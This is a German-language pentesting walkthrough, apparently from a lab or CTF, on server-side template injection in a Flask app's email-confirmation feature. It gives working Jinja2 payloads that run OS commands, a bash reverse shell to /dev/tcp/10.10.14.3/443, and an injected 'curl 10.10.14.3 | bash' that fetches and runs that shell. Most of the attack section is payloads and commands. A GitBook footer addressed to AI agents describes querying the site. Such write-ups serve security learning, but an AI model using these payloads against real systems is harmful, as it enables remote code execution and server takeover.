> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-+-mail-flask-pentesting-web.md).

# SSTI und Mail Flask

## SSTI:

Beim Beobachten der Konfiguration stellen wir fest, dass beim Ändern unseres Konfigurationsnamens eine Bestätigungs-E-Mail gesendet wird. Dies kann eine Gelegenheit für einen SSTI-Angriff sein.

<figure><img src="/files/8ace987b24a0f4e2b86e40e2cbd86ac5a5e51dc4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fa2a86da271f26fb80a6cae74a8d247701a184ec" alt=""><figcaption></figcaption></figure>

Wir testen mit einer Nutzlast wie dieser:

```bash
{{ 9*9 }}

```

Wenn das Ergebnis ist `81`, ist die Anwendung verwundbar.

<figure><img src="/files/1f2208149c678e8daf98bce7d7bd506c9054debb" alt=""><figcaption></figcaption></figure>

Wir bestätigen, dass die Anwendung verwundbar ist, und testen die Befehlsinjektion mit einer Nutzlast von `payloadallthethings`:

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings>" %}

Befehls-ID:

```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

```

<figure><img src="/files/683923bd162b6d7f76ad6411191f26e0dd7ad51e" alt=""><figcaption></figcaption></figure>

Wir schaffen es erfolgreich, eine Reverse Shell auszuführen, die auf Port 443 lauscht:

```bash
nc -nlvp 443

```

Wir erstellen eine Datei `index.html` mit dem folgenden Inhalt, um eine Reverse Shell auszuführen

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1

```

Dann starten wir einen HTTP-Server mit Python:

```bash
python3 -m http.server 80

```

Wir senden die Nutzlast mit `curl` um den Befehl abzurufen und auszuführen:

```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.10.14.3 | bash').read() }}

```

<figure><img src="/files/08d73365a75755acb64be88d26dfb23b568211f9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-+-mail-flask-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
